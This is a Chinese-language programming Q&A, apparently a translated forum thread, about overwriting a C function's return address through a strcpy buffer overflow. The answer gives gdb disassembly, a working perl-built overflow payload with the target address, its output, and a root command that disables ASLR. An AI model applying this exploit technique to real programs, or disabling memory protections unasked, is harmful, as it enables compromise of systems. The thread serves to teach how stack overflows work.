C代码如何在代码中更改返回地址？

Question

我刚刚写了一个C代码,如下所示:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请告诉我如何跳过printf行("\nx是1 \n"); .之前我得到的线索是修改ret变量,它是函数func的返回地址.

您能否建议我如何更改上述程序中的返回地址,以便printf("\nx是1 \n"); 被跳过了.

我发布了这个问题,因为我不知道如何更改返回地址.

如果你帮助我,那将是很棒的.

谢谢

Answer 1

根据我的理解,您希望代码执行指令x=1;,然后跳过下一个printf,以便只打印x is 0.没有办法做到这一点.

但是,可以做的是使func()擦除它自己的返回地址,这样代码就会直接跳转到printf("\nx is 0\n\n");.这意味着跳过x=1;.

这是唯一可能的,因为您向func()发送任何通过cmd-line传递并直接复制到固定大小缓冲区的内容.如果您尝试复制的字符串大于分配的缓冲区,则可能最终会破坏堆栈,并可能覆盖函数的返回地址.

有喜欢伟大的书籍这个关于这个问题,我建议你阅读它们.

在gdb上加载你的应用程序并反汇编主函数,你会看到类似的东西:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

重要的是你注意到第二次printf调用的准备工作从地址开始0x08048449.为了覆盖原始的返回地址func()并使其跳转到0x08048449,你必须超出容量char buffer[24];.在这个测试中,我char buffer[6];出于简单的目的使用.

在gdb中,如果我执行:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区并将return的地址替换为我希望它跳转到的地址:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一步的方法,因为其他人已经做得更好了,但是如果你想直接从cmd-line重现这种行为,你可以执行以下操作:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住,gdb向您报告的内存地址可能与我获得的内存地址不同.

注意:要使用此技术,您必须首先禁用内核保护.但是,如果以下命令报告与0不同的任何内容:

cat /proc/sys/kernel/randomize_va_space

要禁用它,您需要超级用户访问权限:

echo 0 > /proc/sys/kernel/randomize_va_space